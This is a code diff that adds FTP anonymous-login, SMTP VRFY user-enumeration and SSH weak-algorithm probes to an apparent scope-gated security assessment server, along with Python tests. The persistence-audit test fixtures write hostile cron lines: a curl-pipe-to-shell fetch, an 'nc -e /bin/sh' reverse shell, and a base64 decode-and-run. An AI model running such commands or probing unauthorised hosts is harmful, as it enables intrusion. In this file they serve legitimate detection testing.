}
|
||||
if (write_all(fd, "USER anonymous\r\n") == 0) {
|
||||
if (read_reply(fd, reply, sizeof(reply)) > 0)
|
||||
user_code = reply_code(reply);
|
||||
}
|
||||
if (write_all(fd, "PASS anonymous@apex.invalid\r\n") == 0) {
|
||||
if (read_reply(fd, reply, sizeof(reply)) > 0)
|
||||
pass_code = reply_code(reply);
|
||||
}
|
||||
anonymous = pass_code == 230;
|
||||
close(fd);
|
||||
apex_audit("ftp_probe", target, port, anonymous,
|
||||
anonymous ? "anonymous login accepted" : "anonymous login refused",
|
||||
"FTP USER/PASS anonymous");
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"target\":");
|
||||
apex_json_str(&b, target);
|
||||
mcp_buf_printf(&b, ",\"port\":%d,\"banner\":", port);
|
||||
apex_json_str(&b, banner);
|
||||
mcp_buf_printf(&b, ",\"feat_code\":%d,\"features\":[", feat_code);
|
||||
for (i = 0; i < nfeat; i++) {
|
||||
if (i > 0)
|
||||
mcp_buf_puts(&b, ",");
|
||||
apex_json_str(&b, features[i]);
|
||||
}
|
||||
mcp_buf_printf(&b, "],\"user_code\":%d,\"pass_code\":%d,"
|
||||
"\"anonymous\":%s}", user_code, pass_code,
|
||||
anonymous ? "true" : "false");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
/* --------------------------------------------------------------- smtp_probe */
|
||||
|
||||
static const char *vrfy_status(int code)
|
||||
{
|
||||
if (code == 250 || code == 251)
|
||||
return "exists";
|
||||
if (code == 252)
|
||||
return "cannot-verify";
|
||||
if (code == 550 || code == 551 || code == 553)
|
||||
return "unknown";
|
||||
if (code == 502 || code == 500 || code == 504)
|
||||
return "disabled";
|
||||
if (code == 421)
|
||||
return "closing";
|
||||
return "other";
|
||||
}
|
||||
|
||||
static void t_smtp_probe(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *target = mcp_arg_string(args, "target");
|
||||
const char *users_arg = mcp_arg_string(args, "users");
|
||||
int port = mcp_arg_int(args, "port", 25);
|
||||
char banner[512];
|
||||
char reply[8192];
|
||||
char features[16][64];
|
||||
int nfeat = 0;
|
||||
char vrfy[8][64];
|
||||
int nvrfy = 0;
|
||||
int banner_code;
|
||||
int ehlo_code = 0;
|
||||
int vrfy_enabled = 0;
|
||||
int fd;
|
||||
mcp_buf b;
|
||||
int i;
|
||||
|
||||
(void)user;
|
||||
if (target == NULL || *target == '\0') {
|
||||
mcp_reply_error(c, "target is required");
|
||||
return;
|
||||
}
|
||||
if (!gated(c, "smtp_probe", target, port))
|
||||
return;
|
||||
snprintf(vrfy[0], sizeof(vrfy[0]), "%s", "root");
|
||||
snprintf(vrfy[1], sizeof(vrfy[1]), "%s", "admin");
|
||||
snprintf(vrfy[2], sizeof(vrfy[2]), "%s", "postmaster");
|
||||
nvrfy = 3;
|
||||
if (users_arg != NULL && *users_arg != '\0') {
|
||||
char *copy = strdup(users_arg);
|
||||
char *save = NULL;
|
||||
char *tok;
|
||||
|
||||
if (copy != NULL) {
|
||||
nvrfy = 0;
|
||||
tok = strtok_r(copy, ",", &save);
|
||||
while (tok != NULL && nvrfy < 8) {
|
||||
while (*tok == ' ' || *tok == '\t')
|
||||
tok++;
|
||||
if (*tok != '\0') {
|
||||
snprintf(vrfy[nvrfy], sizeof(vrfy[0]), "%s",
|
||||
tok);
|
||||
nvrfy++;
|
||||
}
|
||||
tok = strtok_r(NULL, ",", &save);
|
||||
}
|
||||
/* names are copied, the source list can go */
|
||||
free(copy);
|
||||
}
|
||||
}
|
||||
fd = tcp_connect_host(target, port, 8000);
|
||||
if (fd < 0) {
|
||||
mcp_reply_error(c, "cannot connect to the SMTP service");
|
||||
return;
|
||||
}
|
||||
banner[0] = '\0';
|
||||
banner_code = (read_line(fd, banner, sizeof(banner)) >= 0)
|
||||
? reply_code(banner) : 0;
|
||||
if (banner_code != 220) {
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_printf(&b, "no SMTP banner (code %d)", banner_code);
|
||||
mcp_reply_error(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
if (write_all(fd, "EHLO apex-twin\r\n") == 0) {
|
||||
if (read_reply(fd, reply, sizeof(reply)) > 0) {
|
||||
char *save = NULL;
|
||||
char *line = strtok_r(reply, "\n", &save);
|
||||
|
||||
ehlo_code = reply_code(line);
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
while (line != NULL && nfeat < 16) {
|
||||
if (reply_feature(line, features[nfeat],
|
||||
sizeof(features[0])) == 0 &&
|
||||
strcasecmp(features[nfeat], "EHLO") != 0)
|
||||
nfeat++;
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
}
|
||||
}
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"target\":");
|
||||
apex_json_str(&b, target);
|
||||
mcp_buf_printf(&b, ",\"port\":%d,\"banner\":", port);
|
||||
apex_json_str(&b, banner);
|
||||
mcp_buf_printf(&b, ",\"ehlo_code\":%d,\"features\":[", ehlo_code);
|
||||
for (i = 0; i < nfeat; i++) {
|
||||
if (i > 0)
|
||||
mcp_buf_puts(&b, ",");
|
||||
apex_json_str(&b, features[i]);
|
||||
}
|
||||
mcp_buf_puts(&b, "],\"vrfy\":[");
|
||||
for (i = 0; i < nvrfy; i++) {
|
||||
char cmd[160];
|
||||
char line[512];
|
||||
int vcode = 0;
|
||||
|
||||
snprintf(cmd, sizeof(cmd), "VRFY %.48s\r\n", vrfy[i]);
|
||||
if (write_all(fd, cmd) == 0) {
|
||||
if (read_reply(fd, line, sizeof(line)) > 0)
|
||||
vcode = reply_code(line);
|
||||
}
|
||||
if (vcode == 250 || vcode == 251 || vcode == 252)
|
||||
vrfy_enabled = 1;
|
||||
if (i > 0)
|
||||
mcp_buf_puts(&b, ",");
|
||||
mcp_buf_puts(&b, "{\"user\":");
|
||||
apex_json_str(&b, vrfy[i]);
|
||||
mcp_buf_printf(&b, ",\"code\":%d,\"status\":\"%s\"}", vcode,
|
||||
vrfy_status(vcode));
|
||||
}
|
||||
mcp_buf_printf(&b, "],\"vrfy_enabled\":%s}",
|
||||
vrfy_enabled ? "true" : "false");
|
||||
close(fd);
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- ssh_audit */
|
||||
|
||||
static unsigned long be32(const unsigned char *p)
|
||||
{
|
||||
return ((unsigned long)p[0] << 24) | ((unsigned long)p[1] << 16) |
|
||||
((unsigned long)p[2] << 8) | (unsigned long)p[3];
|
||||
}
|
||||
|
||||
static int ssh_list(const unsigned char *pkt, size_t payload_len, size_t *off,
|
||||
char *out, size_t n)
|
||||
{
|
||||
unsigned long len;
|
||||
unsigned long copy;
|
||||
|
||||
if (*off + 4 > payload_len)
|
||||
return -1;
|
||||
len = be32(pkt + *off);
|
||||
*off += 4;
|
||||
if (len > payload_len - *off)
|
||||
return -1;
|
||||
copy = len;
|
||||
if (copy >= n)
|
||||
copy = n - 1;
|
||||
memcpy(out, pkt + *off, (size_t)copy);
|
||||
out[copy] = '\0';
|
||||
*off += (size_t)len; /* advance by the real list, not the copy */
|
||||
return 0;
|
||||
}
|
||||
|
||||
static const char *WEAK_ALGS[] = {
|
||||
"diffie-hellman-group1-sha1", "diffie-hellman-group14-sha1",
|
||||
"ssh-rsa", "ssh-dss", "3des-cbc", "arcfour", "blowfish-cbc",
|
||||
"cast128-cbc", "hmac-md5", "hmac-sha1-96", "hmac-md5-96",
|
||||
NULL
|
||||
};
|
||||
|
||||
static void weak_add(const char *list, char names[20][48], int *count)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; WEAK_ALGS[i] != NULL; i++) {
|
||||
int k;
|
||||
int known = 0;
|
||||
|
||||
if (strstr(list, WEAK_ALGS[i]) == NULL)
|
||||
continue;
|
||||
for (k = 0; k < *count; k++)
|
||||
if (strcmp(names[k], WEAK_ALGS[i]) == 0)
|
||||
known = 1;
|
||||
if (!known && *count < 20) {
|
||||
snprintf(names[*count], sizeof(names[0]), "%s",
|
||||
WEAK_ALGS[i]);
|
||||
(*count)++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void t_ssh_audit(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *target = mcp_arg_string(args, "target");
|
||||
int port = mcp_arg_int(args, "port", 22);
|
||||
char banner[512];
|
||||
unsigned char head[4];
|
||||
unsigned char *pkt = NULL;
|
||||
unsigned long plen;
|
||||
size_t payload_len;
|
||||
size_t off;
|
||||
char kex[1024];
|
||||
char hostkey[1024];
|
||||
char enc_c2s[1024];
|
||||
char enc_s2c[1024];
|
||||
char mac_c2s[1024];
|
||||
char mac_s2c[1024];
|
||||
char weak[20][48];
|
||||
int nweak = 0;
|
||||
int fd;
|
||||
int banner_len;
|
||||
mcp_buf b;
|
||||
|
||||
(void)user;
|
||||
if (target == NULL || *target == '\0') {
|
||||
mcp_reply_error(c, "target is required");
|
||||
return;
|
||||
}
|
||||
if (!gated(c, "ssh_audit", target, port))
|
||||
return;
|
||||
fd = tcp_connect_host(target, port, 8000);
|
||||
if (fd < 0) {
|
||||
mcp_reply_error(c, "cannot connect to the SSH service");
|
||||
return;
|
||||
}
|
||||
banner_len = read_line(fd, banner, sizeof(banner));
|
||||
if (banner_len < 4 || strncmp(banner, "SSH-", 4) != 0) {
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "not an SSH banner: ");
|
||||
mcp_buf_puts(&b, banner_len > 0 ? banner : "(empty)");
|
||||
mcp_reply_error(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
if (write_all(fd, "SSH-2.0-apex-twin\r\n") != 0 ||
|
||||
read_exact(fd, head, 4) != 0) {
|
||||
close(fd);
|
||||
mcp_reply_error(c, "no KEXINIT from the server");
|
||||
return;
|
||||
}
|
||||
plen = be32(head);
|
||||
if (plen < 6 || plen > (256UL << 10)) {
|
||||
close(fd);
|
||||
mcp_reply_error(c, "KEXINIT length out of range");
|
||||
return;
|
||||
}
|
||||
pkt = malloc((size_t)plen);
|
||||
if (pkt == NULL) {
|
||||
close(fd);
|
||||
mcp_reply_error(c, "out of memory");
|
||||
return;
|
||||
}
|
||||
if (read_exact(fd, pkt, (size_t)plen) != 0) {
|
||||
free(pkt);
|
||||
close(fd);
|
||||
mcp_reply_error(c, "short KEXINIT");
|
||||
return;
|
||||
}
|
||||
close(fd);
|
||||
{
|
||||
size_t padding = pkt[0];
|
||||
|
||||
if (padding + 2 > plen || pkt[1] != 20) {
|
||||
free(pkt);
|
||||
mcp_reply_error(c, "unexpected SSH message (not KEXINIT)");
|
||||
return;
|
||||
}
|
||||
payload_len = (size_t)plen - padding - 1;
|
||||
}
|
||||
off = 18; /* pad length byte + message type + 16 byte cookie */
|
||||
kex[0] = hostkey[0] = enc_c2s[0] = enc_s2c[0] = '\0';
|
||||
mac_c2s[0] = mac_s2c[0] = '\0';
|
||||
if (ssh_list(pkt, payload_len, &off, kex, sizeof(kex)) != 0 ||
|
||||
ssh_list(pkt, payload_len, &off, hostkey, sizeof(hostkey)) != 0 ||
|
||||
ssh_list(pkt, payload_len, &off, enc_c2s, sizeof(enc_c2s)) != 0 ||
|
||||
ssh_list(pkt, payload_len, &off, enc_s2c, sizeof(enc_s2c)) != 0 ||
|
||||
ssh_list(pkt, payload_len, &off, mac_c2s, sizeof(mac_c2s)) != 0 ||
|
||||
ssh_list(pkt, payload_len, &off, mac_s2c, sizeof(mac_s2c)) != 0) {
|
||||
free(pkt);
|
||||
mcp_reply_error(c, "malformed KEXINIT name-list");
|
||||
return;
|
||||
}
|
||||
free(pkt);
|
||||
weak_add(kex, weak, &nweak);
|
||||
weak_add(hostkey, weak, &nweak);
|
||||
weak_add(enc_c2s, weak, &nweak);
|
||||
weak_add(enc_s2c, weak, &nweak);
|
||||
weak_add(mac_c2s, weak, &nweak);
|
||||
weak_add(mac_s2c, weak, &nweak);
|
||||
{
|
||||
mcp_buf audit_detail;
|
||||
|
||||
mcp_buf_init(&audit_detail);
|
||||
{
|
||||
int k;
|
||||
|
||||
for (k = 0; k < nweak; k++) {
|
||||
if (k > 0)
|
||||
mcp_buf_puts(&audit_detail, ",");
|
||||
mcp_buf_puts(&audit_detail, weak[k]);
|
||||
}
|
||||
}
|
||||
apex_audit("ssh_audit", target, port, nweak == 0,
|
||||
nweak == 0 ? "no weak algorithms offered"
|
||||
: "weak algorithms offered",
|
||||
audit_detail.p != NULL ? audit_detail.p : "KEXINIT");
|
||||
mcp_buf_free(&audit_detail);
|
||||
}
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"target\":");
|
||||
apex_json_str(&b, target);
|
||||
mcp_buf_printf(&b, ",\"port\":%d,\"banner\":", port);
|
||||
apex_json_str(&b, banner);
|
||||
mcp_buf_puts(&b, ",\"kex\":");
|
||||
apex_json_str(&b, kex);
|
||||
mcp_buf_puts(&b, ",\"host_key\":");
|
||||
apex_json_str(&b, hostkey);
|
||||
mcp_buf_puts(&b, ",\"enc_c2s\":");
|
||||
apex_json_str(&b, enc_c2s);
|
||||
mcp_buf_puts(&b, ",\"enc_s2c\":");
|
||||
apex_json_str(&b, enc_s2c);
|
||||
mcp_buf_puts(&b, ",\"mac_c2s\":");
|
||||
apex_json_str(&b, mac_c2s);
|
||||
mcp_buf_puts(&b, ",\"mac_s2c\":");
|
||||
apex_json_str(&b, mac_s2c);
|
||||
mcp_buf_printf(&b, ",\"weak_count\":%d,\"weak\":[", nweak);
|
||||
{
|
||||
int k;
|
||||
|
||||
for (k = 0; k < nweak; k++) {
|
||||
if (k > 0)
|
||||
mcp_buf_puts(&b, ",");
|
||||
apex_json_str(&b, weak[k]);
|
||||
}
|
||||
}
|
||||
mcp_buf_puts(&b, "]}");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
const mcp_tool TOOLS_PROTO[] = {
|
||||
{ "ftp_probe",
|
||||
"One-connection FTP check: read the 220 banner, ask FEAT, then try the "
|
||||
"literal anonymous pair (USER anonymous / PASS anonymous@apex.invalid). "
|
||||
"Reports the banner, feature list, reply codes and whether anonymous "
|
||||
"login was accepted; the success is audited. Nothing is uploaded or "
|
||||
"changed. Gate: the target must be in scope.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"target\":{\"type\":\"string\"},"
|
||||
"\"port\":{\"type\":\"integer\",\"description\":\"default 21\"}},"
|
||||
"\"required\":[\"target\"]}",
|
||||
t_ftp_probe },
|
||||
{ "smtp_probe",
|
||||
"One-connection SMTP check: read the 220 banner, send EHLO and list the "
|
||||
"advertised extensions (STARTTLS, AUTH, SIZE, ...), then VRFY a small "
|
||||
"user list (default root, admin, postmaster; max 8) and classify each "
|
||||
"answer as exists, unknown, cannot-verify or disabled. No mail is sent. "
|
||||
"Gate: the target must be in scope.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"target\":{\"type\":\"string\"},"
|
||||
"\"port\":{\"type\":\"integer\",\"description\":\"default 25\"},"
|
||||
"\"users\":{\"type\":\"string\",\"description\":\"comma list, max 8\"}},"
|
||||
"\"required\":[\"target\"]}",
|
||||
t_smtp_probe },
|
||||
{ "ssh_audit",
|
||||
"Read an SSH server banner, send a client banner and parse the KEXINIT "
|
||||
"name-lists: key exchange, host key, ciphers and MACs in both "
|
||||
"directions. Flags deprecated picks (group1/group14-sha1, ssh-rsa, "
|
||||
"ssh-dss, 3des-cbc, arcfour, blowfish, cast128, hmac-md5, sha1-96) and "
|
||||
"audits the result. Read-only; no authentication is attempted. Gate: "
|
||||
"the target must be in scope.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"target\":{\"type\":\"string\"},"
|
||||
"\"port\":{\"type\":\"integer\",\"description\":\"default 22\"}},"
|
||||
"\"required\":[\"target\"]}",
|
||||
t_ssh_audit },
|
||||
};
|
||||
|
||||
const size_t TOOLS_PROTO_N = sizeof(TOOLS_PROTO) / sizeof(TOOLS_PROTO[0]);
|
||||
+1
-1
@@ -21,7 +21,7 @@ import re
|
||||
import sys
|
||||
|
||||
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
EXPECTED_TOOLS = 65
|
||||
EXPECTED_TOOLS = 69
|
||||
GATE = ("gated(", "gated_cmd(", "apex_scope_check(")
|
||||
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
|
||||
# Tools whose "target" argument filters local records; they never touch it.
|
||||
|
||||
+200
-2
@@ -18,6 +18,7 @@ import select
|
||||
import shutil
|
||||
import signal
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
@@ -132,7 +133,7 @@ res, _ = run([
|
||||
], home=empty)
|
||||
check("tools/list answers", any(r.get("id") == 1 for r in res))
|
||||
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
|
||||
check("65 tools registered", len(tools) == 65, len(tools))
|
||||
check("69 tools registered", len(tools) == 69, len(tools))
|
||||
names = {t["name"] for t in tools}
|
||||
for need in ("portscan", "nmap", "http_request", "marauder_scan",
|
||||
"method_playbook", "finding_add", "finding_update", "scope_check",
|
||||
@@ -1558,7 +1559,7 @@ try:
|
||||
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
|
||||
init)
|
||||
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
|
||||
check("http tools/list", len(listing["result"]["tools"]) == 65)
|
||||
check("http tools/list", len(listing["result"]["tools"]) == 69)
|
||||
shown = post(call(3, "scope_show"))
|
||||
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
|
||||
# the id must be the request's id, not one found inside the arguments
|
||||
@@ -3047,6 +3048,203 @@ finally:
|
||||
child.wait(timeout=5)
|
||||
shutil.rmtree(det_home, ignore_errors=True)
|
||||
|
||||
print("\n== service protocol probes ==")
|
||||
|
||||
|
||||
def start_line_server(handler):
|
||||
srv = socket.socket()
|
||||
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
srv.bind(("127.0.0.1", 0))
|
||||
srv.listen(4)
|
||||
port = srv.getsockname()[1]
|
||||
|
||||
def loop():
|
||||
while True:
|
||||
try:
|
||||
conn, _ = srv.accept()
|
||||
except OSError:
|
||||
return
|
||||
try:
|
||||
handler(conn)
|
||||
except OSError:
|
||||
pass
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
threading.Thread(target=loop, daemon=True).start()
|
||||
return srv, port
|
||||
|
||||
|
||||
def ftp_handler(allow):
|
||||
def handle(conn):
|
||||
f = conn.makefile("rb")
|
||||
conn.sendall(b"220 test FTP ready\r\n")
|
||||
while True:
|
||||
line = f.readline()
|
||||
if not line:
|
||||
return
|
||||
cmd = line.strip().split(b" ")[0].upper()
|
||||
if cmd == b"FEAT":
|
||||
conn.sendall(b"211-Features:\r\n SIZE\r\n UTF8\r\n211 End\r\n")
|
||||
elif cmd == b"USER":
|
||||
conn.sendall(b"331 need password\r\n")
|
||||
elif cmd == b"PASS":
|
||||
conn.sendall(b"230 login ok\r\n" if allow
|
||||
else b"530 denied\r\n")
|
||||
else:
|
||||
conn.sendall(b"500 unknown\r\n")
|
||||
return handle
|
||||
|
||||
|
||||
def smtp_handler(conn):
|
||||
f = conn.makefile("rb")
|
||||
conn.sendall(b"220 test ESMTP\r\n")
|
||||
while True:
|
||||
line = f.readline()
|
||||
if not line:
|
||||
return
|
||||
up = line.upper()
|
||||
if up.startswith(b"EHLO"):
|
||||
conn.sendall(b"250-test greets you\r\n250-STARTTLS\r\n"
|
||||
b"250-AUTH PLAIN LOGIN\r\n250 SIZE 10240000\r\n")
|
||||
elif up.startswith(b"VRFY ROOT"):
|
||||
conn.sendall(b"250 root <root@test>\r\n")
|
||||
elif up.startswith(b"VRFY ADMIN"):
|
||||
conn.sendall(b"550 no such user\r\n")
|
||||
elif up.startswith(b"VRFY POSTMASTER"):
|
||||
conn.sendall(b"252 cannot verify\r\n")
|
||||
else:
|
||||
conn.sendall(b"500 unknown\r\n")
|
||||
|
||||
|
||||
def ssh_name_list(text):
|
||||
raw = text.encode()
|
||||
return struct.pack(">I", len(raw)) + raw
|
||||
|
||||
|
||||
def ssh_kexinit(kex, hostkey, enc, mac):
|
||||
payload = bytes([20]) + b"\x00" * 16
|
||||
for part in (kex, hostkey, enc, enc, mac, mac, "none", "none", "", ""):
|
||||
payload += ssh_name_list(part)
|
||||
pad = 8 - ((5 + len(payload)) % 8)
|
||||
if pad < 4:
|
||||
pad += 8
|
||||
packet_len = 1 + len(payload) + pad
|
||||
return (struct.pack(">I", packet_len) + bytes([pad]) + payload +
|
||||
b"\x00" * pad)
|
||||
|
||||
|
||||
def ssh_handler(lists):
|
||||
packet = ssh_kexinit(*lists)
|
||||
|
||||
def handle(conn):
|
||||
conn.sendall(b"SSH-2.0-TestSSH_1.0\r\n")
|
||||
f = conn.makefile("rb")
|
||||
f.readline()
|
||||
conn.sendall(packet)
|
||||
time.sleep(0.05)
|
||||
return handle
|
||||
|
||||
|
||||
ftp_allow_srv, ftp_allow = start_line_server(ftp_handler(True))
|
||||
ftp_deny_srv, ftp_deny = start_line_server(ftp_handler(False))
|
||||
smtp_srv, smtp_port = start_line_server(smtp_handler)
|
||||
ssh_ok_srv, ssh_ok = start_line_server(ssh_handler((
|
||||
"curve25519-sha256,diffie-hellman-group14-sha256",
|
||||
"ssh-ed25519,rsa-sha2-512", "aes128-ctr,aes256-gcm@openssh.com",
|
||||
"hmac-sha2-256,hmac-sha2-512")))
|
||||
ssh_weak_srv, ssh_weak = start_line_server(ssh_handler((
|
||||
"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1",
|
||||
"ssh-rsa,ssh-dss", "3des-cbc,arcfour", "hmac-md5,hmac-sha1-96")))
|
||||
|
||||
proto_home = tempfile.mkdtemp(prefix="apex-proto-")
|
||||
write_scope(proto_home, {"label": "proto", "expires": "2099-12-31T23:59:59Z",
|
||||
"allow_private": True,
|
||||
"allow_ip": ["127.0.0.1"],
|
||||
"allow_port": [str(ftp_allow), str(ftp_deny),
|
||||
str(smtp_port), str(ssh_ok),
|
||||
str(ssh_weak)]})
|
||||
res, _ = run([
|
||||
call(1, "ftp_probe", target="127.0.0.1", port=ftp_allow),
|
||||
call(2, "ftp_probe", target="127.0.0.1", port=ftp_deny),
|
||||
call(3, "smtp_probe", target="127.0.0.1", port=smtp_port),
|
||||
call(4, "ssh_audit", target="127.0.0.1", port=ssh_ok),
|
||||
call(5, "ssh_audit", target="127.0.0.1", port=ssh_weak),
|
||||
call(6, "ftp_probe", target="198.51.100.9", port=21),
|
||||
], home=proto_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
ftp_ok = json.loads(text(by_id[1]))
|
||||
check("ftp_probe reads the banner and FEAT", ftp_ok["banner"].startswith("220") and
|
||||
"SIZE" in ftp_ok["features"], ftp_ok)
|
||||
check("ftp_probe detects anonymous login", ftp_ok["anonymous"] is True and
|
||||
ftp_ok["user_code"] == 331 and ftp_ok["pass_code"] == 230, ftp_ok)
|
||||
ftp_no = json.loads(text(by_id[2]))
|
||||
check("ftp_probe reports a refused anonymous login",
|
||||
ftp_no["anonymous"] is False and ftp_no["pass_code"] == 530, ftp_no)
|
||||
smtp = json.loads(text(by_id[3]))
|
||||
check("smtp_probe lists the EHLO extensions",
|
||||
{"STARTTLS", "AUTH", "SIZE"} <= set(smtp["features"]) and
|
||||
smtp["ehlo_code"] == 250, smtp)
|
||||
status = {v["user"]: v["status"] for v in smtp["vrfy"]}
|
||||
check("smtp_probe classifies VRFY answers",
|
||||
status == {"root": "exists", "admin": "unknown",
|
||||
"postmaster": "cannot-verify"}, status)
|
||||
check("smtp_probe marks VRFY as enabled", smtp["vrfy_enabled"] is True, smtp)
|
||||
ssh_good = json.loads(text(by_id[4]))
|
||||
check("ssh_audit parses the KEXINIT lists",
|
||||
"curve25519-sha256" in ssh_good["kex"] and
|
||||
"ssh-ed25519" in ssh_good["host_key"] and
|
||||
"hmac-sha2-256" in ssh_good["mac_c2s"], ssh_good)
|
||||
check("ssh_audit accepts a modern configuration", ssh_good["weak_count"] == 0,
|
||||
ssh_good["weak"])
|
||||
ssh_bad = json.loads(text(by_id[5]))
|
||||
weak = set(ssh_bad["weak"])
|
||||
check("ssh_audit flags deprecated algorithms",
|
||||
{"diffie-hellman-group1-sha1", "ssh-rsa", "3des-cbc", "hmac-md5"} <= weak,
|
||||
ssh_bad["weak"])
|
||||
check("ssh_audit counts each weak algorithm once",
|
||||
ssh_bad["weak_count"] == len(ssh_bad["weak"]), ssh_bad)
|
||||
check("ftp_probe refuses an out-of-scope target", err(by_id[6]), text(by_id[6]))
|
||||
for srv in (ftp_allow_srv, ftp_deny_srv, smtp_srv, ssh_ok_srv, ssh_weak_srv):
|
||||
srv.close()
|
||||
|
||||
print("\n== persistence audit ==")
|
||||
persist_root = tempfile.mkdtemp(prefix="apex-persist-")
|
||||
for rel, text_body in (
|
||||
("etc/crontab", "SHELL=/bin/sh\n* * * * * root /usr/local/bin/ok\n"),
|
||||
("etc/cron.d/bad", "*/5 * * * * root curl -s http://x/y | sh\n"),
|
||||
("etc/systemd/system/evil.service",
|
||||
"[Service]\nExecStart=/tmp/payload\n"),
|
||||
("etc/systemd/system/backup.timer",
|
||||
"[Timer]\nOnCalendar=daily\n"),
|
||||
("var/spool/cron/atjobs/1", "nc -e /bin/sh 198.51.100.9 4444\n"),
|
||||
("var/spool/cron/crontabs/root", "0 3 * * * echo aGk= | base64 -d | sh\n"),
|
||||
("var/spool/cron/crontabs/clean", "0 4 * * * /usr/bin/backup\n")):
|
||||
full = os.path.join(persist_root, rel)
|
||||
os.makedirs(os.path.dirname(full), exist_ok=True)
|
||||
with open(full, "w") as f:
|
||||
f.write(text_body)
|
||||
res, _ = run([call(1, "persistence_audit", root=persist_root),
|
||||
call(2, "persistence_audit", root="/nonexistent-root-xyz")],
|
||||
home=proto_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
pa = json.loads(text(by_id[1]))
|
||||
check("persistence_audit reads cron, systemd and at storage",
|
||||
pa["cron_files"] == 4 and pa["timers"] == 1 and pa["at_jobs"] == 1, pa)
|
||||
patterns = {f["pattern"] for f in pa["findings"]}
|
||||
check("persistence_audit flags temp paths, pipes and shells",
|
||||
{"remote-code", "/tmp/", "nc -e", "decode-and-run"} <= patterns,
|
||||
pa["findings"])
|
||||
check("persistence_audit leaves clean entries alone",
|
||||
not any(f["path"].endswith("/clean") for f in pa["findings"]), pa)
|
||||
check("persistence_audit reports the files it read", pa["files_scanned"] == 7,
|
||||
pa["files_scanned"])
|
||||
empty = json.loads(text(by_id[2]))
|
||||
check("persistence_audit survives a missing root",
|
||||
empty["files_scanned"] == 0 and empty["findings_count"] == 0, empty)
|
||||
shutil.rmtree(persist_root, ignore_errors=True)
|
||||
shutil.rmtree(proto_home, ignore_errors=True)
|
||||
|
||||
print("\n== esp32 tools ==")
|
||||
esp_home = tempfile.mkdtemp(prefix="apex-esp-")
|
||||
write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"})
|
||||
|
||||
Reference in new issue
Block a user